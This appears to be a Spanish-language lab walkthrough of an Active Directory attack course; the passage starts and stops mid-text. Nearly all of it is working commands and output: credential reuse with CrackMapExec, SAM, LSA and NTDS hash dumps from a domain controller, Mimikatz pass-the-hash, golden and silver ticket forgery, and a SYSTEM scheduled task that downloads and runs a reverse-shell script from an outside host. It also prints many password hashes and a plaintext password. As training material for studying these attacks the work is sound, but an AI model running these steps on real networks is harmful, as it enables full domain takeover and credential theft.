445 DCORP-MGMT [+] Dumped 10 LSA secrets to /home/dsds/.cme/logs/DCORP-MGMT_172.16.4.44_2024-02-22_044511.secrets and /home/dsds/.cme/logs/DCORP-MGMT_172.16.4.44_2024-02-22_044511.cached ``` Probamos las nuevas creds. ``` crackmapexec smb 172.16.4.44 -u svcadmin -p '*ThisisBlasphemyThisisMadness!!' SMB 172.16.4.44 445 DCORP-MGMT [*] Windows 10.0 Build 20348 x64 (name:DCORP-MGMT) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.4.44 445 DCORP-MGMT [+] dollarcorp.moneycorp.local\svcadmin:*ThisisBlasphemyThisisMadness!! (Pwn3d!) ``` Obtenemos la IP del dominio. ``` PS C:\AD\Tools\BloodHound-master\BloodHound-master\Collectors> nslookup.exe dollarcorp.moneycorp.local Server: UnKnown Address: 172.16.2.1 Name: dollarcorp.moneycorp.local Address: 172.16.2.1 ``` Probamos las creds en el DC. ``` crackmapexec smb 172.16.2.1 -u svcadmin -p '*ThisisBlasphemyThisisMadness!!' SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\svcadmin:*ThisisBlasphemyThisisMadness!! (Pwn3d!) ``` Y dumpeamos todos los hashes. ``` crackmapexec smb 172.16.2.1 -u svcadmin -p '*ThisisBlasphemyThisisMadness!!' --sam SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\svcadmin:*ThisisBlasphemyThisisMadness!! (Pwn3d!) SMB 172.16.2.1 445 DCORP-DC [+] Dumping SAM hashes SMB 172.16.2.1 445 DCORP-DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:a102ad5753f4c441e3af31c97fad86fd::: SMB 172.16.2.1 445 DCORP-DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 172.16.2.1 445 DCORP-DC DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ERROR:root:SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. SMB 172.16.2.1 445 DCORP-DC [+] Added 3 SAM hashes to the database ``` ``` crackmapexec smb 172.16.2.1 -u svcadmin -p '*ThisisBlasphemyThisisMadness!!' --lsa SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\svcadmin:*ThisisBlasphemyThisisMadness!! (Pwn3d!) SMB 172.16.2.1 445 DCORP-DC [+] Dumping LSA secrets SMB 172.16.2.1 445 DCORP-DC dcorp\DCORP-DC$:aes256-cts-hmac-sha1-96:f4583f2be42c52751be1ce4e8f51c3c256c89be2b41e0b6c57c8f2cd4edadfcf SMB 172.16.2.1 445 DCORP-DC dcorp\DCORP-DC$:aes128-cts-hmac-sha1-96:10715e504e5e3b6825f0a58aabd03108 SMB 172.16.2.1 445 DCORP-DC dcorp\DCORP-DC$:des-cbc-md5:bc321ad310ce1ab5 SMB 172.16.2.1 445 DCORP-DC dcorp\DCORP-DC$:plain_password_hex:9d2b4437a83b9f4b7038e6fdb58f506b95726a3034a92bac398a7dd61856d91ce33067a9d945f051ed1b1de95feffd32eef8481b25306953859d7242259108676568b30259b28570e0fe906928f4fcf1ae5698ae526b7c17b02a43e90b7fc2902351adc7f1bd3e8e03c0050123b1db24af4397449ebd8ea44347e68071d76a9a78b1f315229f3a2915397621d8cb968518d4937dd8ea46a988276c15a85bf0f7db00800120c318d73cdff23562b8e5d96af5754c507a760e9ba73c4ce67cb74b349f340fdd8dc9e0bac7ebd390afa440c23c8e0059de3f472359c205f7ddea65ae0efd662a35d7dc0335968eeb642886 SMB 172.16.2.1 445 DCORP-DC dcorp\DCORP-DC$:aad3b435b51404eeaad3b435b51404ee:ef7a661f7edb7f5a1be191640342d6b7::: SMB 172.16.2.1 445 DCORP-DC dpapi_machinekey:0x558f948af84f9dec3acf3499b5e9af0de2d8e803 dpapi_userkey:0xb1b020a793cbecd7d3ad7aacbc6b73f33c9e4d43 SMB 172.16.2.1 445 DCORP-DC NL$KM:2155a8f764dd9afa80950f03e8e4765e11349956de62e100c6fd7db814af4f7358c168e316e2049893a539c61b7ae419fee6efdc7364728cf92af25c68d2db73 SMB 172.16.2.1 445 DCORP-DC [+] Dumped 7 LSA secrets to /home/dsds/.cme/logs/DCORP-DC_172.16.2.1_2024-02-22_050159.secrets and /home/dsds/.cme/logs/DCORP-DC_172.16.2.1_2024-02-22_050159.cached ``` ``` crackmapexec smb 172.16.2.1 -u svcadmin -p '*ThisisBlasphemyThisisMadness!!' --ntds SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\svcadmin:*ThisisBlasphemyThisisMadness!! (Pwn3d!) SMB 172.16.2.1 445 DCORP-DC [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB 172.16.2.1 445 DCORP-DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:af0686cc0ca8f04df42210c9ac980760::: SMB 172.16.2.1 445 DCORP-DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 172.16.2.1 445 DCORP-DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e9815869d2090ccfca61c1fe0d23986::: SMB 172.16.2.1 445 DCORP-DC sqladmin\sqladmin:1113:aad3b435b51404eeaad3b435b51404ee:07e8be316e3da9a042a9cb681df19bf5::: SMB 172.16.2.1 445 DCORP-DC websvc\websvc:1114:aad3b435b51404eeaad3b435b51404ee:cc098f204c5887eaa8253e7c2749156f::: SMB 172.16.2.1 445 DCORP-DC srvadmin\srvadmin:1115:aad3b435b51404eeaad3b435b51404ee:b38ff50264b74508085d82c69794a4d8::: SMB 172.16.2.1 445 DCORP-DC appadmin\appadmin:1117:aad3b435b51404eeaad3b435b51404ee:d549831a955fee51a43c83efb3928fa7::: SMB 172.16.2.1 445 DCORP-DC svcadmin\svcadmin:1118:aad3b435b51404eeaad3b435b51404ee:b38ff50264b74508085d82c69794a4d8::: SMB 172.16.2.1 445 DCORP-DC testda\testda:1119:aad3b435b51404eeaad3b435b51404ee:a16452f790729fa34e8f3a08f234a82c::: SMB 172.16.2.1 445 DCORP-DC mgmtadmin\mgmtadmin:1120:aad3b435b51404eeaad3b435b51404ee:95e2cd7ff77379e34c6e46265e75d754::: SMB 172.16.2.1 445 DCORP-DC ciadmin\ciadmin:1121:aad3b435b51404eeaad3b435b51404ee:e08253add90dccf1a208523d02998c3d::: SMB 172.16.2.1 445 DCORP-DC sql1admin\sql1admin:1122:aad3b435b51404eeaad3b435b51404ee:e999ae4bd06932620a1e78d2112138c6::: SMB 172.16.2.1 445 DCORP-DC dollarcorp.moneycorp.local\studentadmin:4181:aad3b435b51404eeaad3b435b51404ee:d1254f303421d3cdbdc4c73a5bce0201::: SMB 172.16.2.1 445 DCORP-DC DCORP-DC$:1000:aad3b435b51404eeaad3b435b51404ee:ef7a661f7edb7f5a1be191640342d6b7::: SMB 172.16.2.1 445 DCORP-DC DCORP-ADMINSRV$:1105:aad3b435b51404eeaad3b435b51404ee:b5f451985fd34d58d5120816d31b5565::: SMB 172.16.2.1 445 DCORP-DC DCORP-APPSRV$:1106:aad3b435b51404eeaad3b435b51404ee:b4cb7bf8b93c78b8051c7906bb054dc5::: SMB 172.16.2.1 445 DCORP-DC DCORP-CI$:1107:aad3b435b51404eeaad3b435b51404ee:f76f48c176dc09cfd5765843c32809f3::: SMB 172.16.2.1 445 DCORP-DC DCORP-MGMT$:1108:aad3b435b51404eeaad3b435b51404ee:0878da540f45b31b974f73312c18e754::: SMB 172.16.2.1 445 DCORP-DC DCORP-MSSQL$:1109:aad3b435b51404eeaad3b435b51404ee:b205f1ca05bedace801893d6aa5aca27::: SMB 172.16.2.1 445 DCORP-DC DCORP-SQL1$:1110:aad3b435b51404eeaad3b435b51404ee:3686dfb420dc0f9635e70c6ca5875b49::: SMB 172.16.2.1 445 DCORP-DC DCORP-STDADMIN$:4202:aad3b435b51404eeaad3b435b51404ee:e444bbf444732fc38065ea9e9255ab03::: SMB 172.16.2.1 445 DCORP-DC mcorp$:1103:aad3b435b51404eeaad3b435b51404ee:f5b5c9f1ca76187393db1d3bb8ded94e::: SMB 172.16.2.1 445 DCORP-DC US$:1104:aad3b435b51404eeaad3b435b51404ee:f85385d81cc4936d37ff8f27813f43c6::: SMB 172.16.2.1 445 DCORP-DC ecorp$:1112:aad3b435b51404eeaad3b435b51404ee:4501e4c7f30e1cb3c9886f06a3ed1c6a::: ``` Respuesta: ``` b38ff50264b74508085d82c69794a4d8 ``` # Learning Objective - 8 y 9 ## Golden ticket Creamos una sesion utilizando el DA desde cualquier computador utilizando Mimikatz. ``` PS C:\AD\Tools> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:af0686cc0ca8f04df42210c9ac980760 user : Administrator domain : dollarcorp.moneycorp.local program : cmd.exe impers. : no NTLM : af0686cc0ca8f04df42210c9ac980760 | PID 5128 | TID 4660 | LSA Process is now R/W | LUID 0 ; 41699318 (00000000:027c47f6) \_ msv1_0 - data copy @ 00000216750E60F0 : OK ! \_ kerberos - data copy @ 00000216753FB7C8 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000021675AEF428 (32) -> null mimikatz # ``` Luego en la consola generada, importamos el Invoke Mimikatz y realizamos la obtencion de los hashes del usuario krbgt. ``` PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1 PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::lsa /patch Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648 RID : 000001f4 (500) User : Administrator LM : NTLM : af0686cc0ca8f04df42210c9ac980760 RID : 000001f5 (501) User : Guest LM : NTLM : RID : 000001f6 (502) User : krbtgt LM : NTLM : 4e9815869d2090ccfca61c1fe0d23986 RID : 00000459 (1113) User : sqladmin LM : NTLM : 07e8be316e3da9a042a9cb681df19bf5 RID : 0000045a (1114) User : websvc LM : NTLM : cc098f204c5887eaa8253e7c2749156f RID : 0000045b (1115) User : srvadmin LM : NTLM : a98e18228819e8eec3dfa33cb68b0728 RID : 0000045d (1117) User : appadmin LM : NTLM : d549831a955fee51a43c83efb3928fa7 RID : 0000045e (1118) User : svcadmin LM : NTLM : b38ff50264b74508085d82c69794a4d8 RID : 0000045f (1119) User : testda LM : NTLM : a16452f790729fa34e8f3a08f234a82c RID : 00000460 (1120) User : mgmtadmin LM : NTLM : 95e2cd7ff77379e34c6e46265e75d754 RID : 00000461 (1121) User : ciadmin LM : NTLM : e08253add90dccf1a208523d02998c3d RID : 00000462 (1122) User : sql1admin LM : NTLM : e999ae4bd06932620a1e78d2112138c6 RID : 00001055 (4181) User : studentadmin LM : NTLM : d1254f303421d3cdbdc4c73a5bce0201 RID : 00003521 (13601) User : student721 LM : NTLM : c72c376699f31f096b2d5ab64cbdcd94 RID : 00003522 (13602) User : student722 LM : NTLM : d24ea4c7d485b9db9033c58cf221c900 RID : 00003523 (13603) User : student723 LM : NTLM : e602f8c5d4a53971a58774eb4db1bdf0 RID : 00003524 (13604) User : student724 LM : NTLM : 910d4b954db17832138473b090abb337 RID : 00003525 (13605) User : student725 LM : NTLM : ddaeb719bb3ebaf44f273cf302965f5a RID : 00003526 (13606) User : student726 LM : NTLM : 12a836992d9a17bc71aafe08c58a2657 RID : 00003527 (13607) User : student727 LM : NTLM : d99bd8f6b5a4522f5ca082969f1479c4 RID : 00003528 (13608) User : student728 LM : NTLM : 9d50c933c86d072edb0815f82e6a5baf RID : 00003529 (13609) User : student729 LM : NTLM : e1a081574f45f39d561e9dda3a918a14 RID : 0000352a (13610) User : student730 LM : NTLM : 9af9ad18e24b91eb4a0116ec8df5a27f RID : 0000352b (13611) User : student731 LM : NTLM : 1f1c0cf05907d2bd7e863a7fe55c45b0 RID : 0000352c (13612) User : student732 LM : NTLM : c2ddcf1a32f71dce214be2cca9c04993 RID : 0000352d (13613) User : student733 LM : NTLM : e559ae80aaf6bcdc856b5df589f9d695 RID : 0000352e (13614) User : student734 LM : NTLM : b166b8e2d5dc7127002837197b3d24f4 RID : 0000352f (13615) User : student735 LM : NTLM : 2c289e4aee543d3ce0b4d65eb5518ad2 RID : 00003530 (13616) User : student736 LM : NTLM : 99af9ba03d340bdb9ea572cbf0b58406 RID : 00003531 (13617) User : student737 LM : NTLM : f3f3922ead678ca56a8319ef7adb6bff RID : 00003532 (13618) User : student738 LM : NTLM : 9b8e48d74a130fc0d1865405cf2aaba6 RID : 00003533 (13619) User : student739 LM : NTLM : a39339b2e182046b60232f0478d6a0a4 RID : 00003534 (13620) User : student740 LM : NTLM : 483e63bc5ecb5d9026f689946eaaf87c RID : 00003535 (13621) User : Control721user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003536 (13622) User : Control722user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003537 (13623) User : Control723user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003538 (13624) User : Control724user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003539 (13625) User : Control725user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353a (13626) User : Control726user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353b (13627) User : Control727user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353c (13628) User : Control728user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353d (13629) User : Control729user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353e (13630) User : Control730user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 0000353f (13631) User : Control731user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003540 (13632) User : Control732user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003541 (13633) User : Control733user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003542 (13634) User : Control734user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003543 (13635) User : Control735user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003544 (13636) User : Control736user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003545 (13637) User : Control737user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003546 (13638) User : Control738user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003547 (13639) User : Control739user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003548 (13640) User : Control740user LM : NTLM : c8aed8673aca42f9a83ff8d2c84860f0 RID : 00003549 (13641) User : Support721user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354a (13642) User : Support722user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354b (13643) User : Support723user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354c (13644) User : Support724user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354d (13645) User : Support725user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354e (13646) User : Support726user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000354f (13647) User : Support727user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003550 (13648) User : Support728user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003551 (13649) User : Support729user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003552 (13650) User : Support730user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003553 (13651) User : Support731user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003554 (13652) User : Support732user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003555 (13653) User : Support733user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003556 (13654) User : Support734user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003557 (13655) User : Support735user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003558 (13656) User : Support736user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 00003559 (13657) User : Support737user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000355a (13658) User : Support738user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000355b (13659) User : Support739user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000355c (13660) User : Support740user LM : NTLM : b2e40f5d46efcbb1094704aeb7d9cbe7 RID : 0000355d (13661) User : VPN721user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000355e (13662) User : VPN722user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000355f (13663) User : VPN723user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003560 (13664) User : VPN724user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003561 (13665) User : VPN725user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003562 (13666) User : VPN726user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003563 (13667) User : VPN727user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003564 (13668) User : VPN728user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003565 (13669) User : VPN729user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003566 (13670) User : VPN730user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003567 (13671) User : VPN731user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003568 (13672) User : VPN732user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003569 (13673) User : VPN733user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356a (13674) User : VPN734user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356b (13675) User : VPN735user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356c (13676) User : VPN736user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356d (13677) User : VPN737user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356e (13678) User : VPN738user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 0000356f (13679) User : VPN739user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 00003570 (13680) User : VPN740user LM : NTLM : bb1d7a9ac6d4f535e1986ddbc5428881 RID : 000003e8 (1000) User : DCORP-DC$ LM : NTLM : ef7a661f7edb7f5a1be191640342d6b7 RID : 00000451 (1105) User : DCORP-ADMINSRV$ LM : NTLM : b5f451985fd34d58d5120816d31b5565 RID : 00000452 (1106) User : DCORP-APPSRV$ LM : NTLM : b4cb7bf8b93c78b8051c7906bb054dc5 RID : 00000453 (1107) User : DCORP-CI$ LM : NTLM : f76f48c176dc09cfd5765843c32809f3 RID : 00000454 (1108) User : DCORP-MGMT$ LM : NTLM : 0878da540f45b31b974f73312c18e754 RID : 00000455 (1109) User : DCORP-MSSQL$ LM : NTLM : b205f1ca05bedace801893d6aa5aca27 RID : 00000456 (1110) User : DCORP-SQL1$ LM : NTLM : 3686dfb420dc0f9635e70c6ca5875b49 RID : 0000106a (4202) User : DCORP-STDADMIN$ LM : NTLM : e444bbf444732fc38065ea9e9255ab03 RID : 00003571 (13681) User : DCORP-STD721$ LM : NTLM : b9fed91f5f32818fae2271b05f189926 RID : 00003572 (13682) User : DCORP-STD722$ LM : NTLM : 2b04543bc07afe3966ff85e06f0a9412 RID : 00003573 (13683) User : DCORP-STD724$ LM : NTLM : e80b06a0063459999d702dc654312ea5 RID : 00003574 (13684) User : DCORP-STD723$ LM : NTLM : efd9824a276d26fcc5fc2ca14273225c RID : 00003575 (13685) User : DCORP-STD726$ LM : NTLM : 05df9f9bc89dd594c5884e20ce1c683b RID : 00003576 (13686) User : DCORP-STD729$ LM : NTLM : 03a26f64fd32b458ca55614c41bc5d80 RID : 00003577 (13687) User : DCORP-STD725$ LM : NTLM : 0783061c7d97c91b32b6f0c9b2a66c05 RID : 00003578 (13688) User : DCORP-STD728$ LM : NTLM : 43949d8590e999a5ca4b0eb369c6c620 RID : 00003579 (13689) User : DCORP-STD727$ LM : NTLM : a19a6642a51ee86db03d722bb2ae7930 RID : 0000357a (13690) User : DCORP-STD731$ LM : NTLM : e09c18c5b34fb9db4b4bd4e2bdc24c06 RID : 0000357b (13691) User : DCORP-STD732$ LM : NTLM : fcbf3df06ea9f5a0c0e9d9117bdb9d16 RID : 0000357c (13692) User : DCORP-STD730$ LM : NTLM : 3befa14afd532cc6faba9f0f9abb3128 RID : 0000357d (13693) User : DCORP-STD733$ LM : NTLM : e6fb50826836c584764b2e8275bedd9b RID : 0000357e (13694) User : DCORP-STD735$ LM : NTLM : 8e5d039b8050c4e6d808ba7b904a107f RID : 0000357f (13695) User : DCORP-STD734$ LM : NTLM : a68fa0eb1fa1d3da3a1e43f0e89049a3 RID : 00003580 (13696) User : DCORP-STD736$ LM : NTLM : 0267e3942c7d30950dba326f224f1882 RID : 00003581 (13697) User : DCORP-STD737$ LM : NTLM : 845002eccf7afd8343e818d2794d6556 RID : 00003582 (13698) User : DCORP-STD739$ LM : NTLM : 3070e58dbca650744068b1e120fefddc RID : 00003583 (13699) User : DCORP-STD740$ LM : NTLM : b7bb22710be9d4a91bc42e7796ecd458 RID : 00003584 (13700) User : DCORP-STD738$ LM : NTLM : 6dc73ad2690d87a76bbd4a0ded74808d RID : 0000044f (1103) User : mcorp$ LM : NTLM : f5b5c9f1ca76187393db1d3bb8ded94e RID : 00000450 (1104) User : US$ LM : NTLM : f85385d81cc4936d37ff8f27813f43c6 RID : 00000458 (1112) User : ecorp$ LM : NTLM : 4501e4c7f30e1cb3c9886f06a3ed1c6a ``` Creando el golden ticket: {% code overflow="wrap" %} ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4e9815869d2090ccfca61c1fe0d23986 /startoffset:0 /endin:600 /renewmax:10080 /ticket" "exit"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4e9815869d2090ccfca61c1fe0d23986 /startoffset:0 /endin:600 /renewmax:10080 /ticket User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 4e9815869d2090ccfca61c1fe0d23986 - rc4_hmac_nt Lifetime : 2/24/2024 1:13:24 AM ; 2/24/2024 11:13:24 AM ; 3/2/2024 1:13:24 AM -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(powershell) # exit Bye! PS C:\AD\Tools\tickets> ls Directory: C:\AD\Tools\tickets Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/24/2024 1:13 AM 1489 ticket.kirbi ``` {% endcode %} ## Silver Ticket Ejecutamos el comando para crear el silver ticket {% code overflow="wrap" %} ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:ef7a661f7edb7f5a1be191640342d6b7 /startoffset:0 /endin:600 /renewmax:10080 /ticket" "exit"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:ef7a661f7edb7f5a1be191640342d6b7 /startoffset:0 /endin:600 /renewmax:10080 /ticket User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: ef7a661f7edb7f5a1be191640342d6b7 - rc4_hmac_nt Service : HOST Target : dcorp-dc.dollarcorp.moneycorp.local Lifetime : 2/25/2024 2:22:44 PM ; 2/26/2024 12:22:44 AM ; 3/3/2024 2:22:44 PM -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(powershell) # exit Bye! PS C:\AD\Tools\tickets> ls Directory: C:\AD\Tools\tickets Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/24/2024 1:13 AM 1489 golden-ticket.kirbi -a---- 2/25/2024 2:22 PM 1503 ticket.kirbi ``` {% endcode %} ## Importando ticket mimikatz {% code overflow="wrap" %} ``` PS C:\AD\Tools\tickets> klist Current LogonId is 0:0x17ce62 Cached Tickets: (0) PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::ptt silver-ticket.kirbi" "exit"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::ptt silver-ticket.kirbi * File: 'silver-ticket.kirbi': OK mimikatz(powershell) # exit Bye! PS C:\AD\Tools\tickets> klist Current LogonId is 0:0x17ce62 Cached Tickets: (1) #0> Client: Administrator @ dollarcorp.moneycorp.local Server: HOST/dcorp-dc.dollarcorp.moneycorp.local @ dollarcorp.moneycorp.local KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a00000 -> forwardable renewable pre_authent Start Time: 2/25/2024 14:22:44 (local) End Time: 2/26/2024 0:22:44 (local) Renew Time: 3/3/2024 14:22:44 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called: PS C:\AD\Tools\tickets> ``` {% endcode %} ## Obteniendo Reverse tcp shell creando un Schedule Task con Silver Ticket {% code overflow="wrap" lineNumbers="true" %} ``` PS C:\AD\Tools\tickets> schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Tareita" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.23/Invoke-PowerShellTcp.ps1''')'" SUCCESS: The scheduled task "Tareita" has successfully been created. PS C:\AD\Tools\tickets> schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "Tareita" SUCCESS: Attempted to run the scheduled task "Tareita". ``` {% endcode 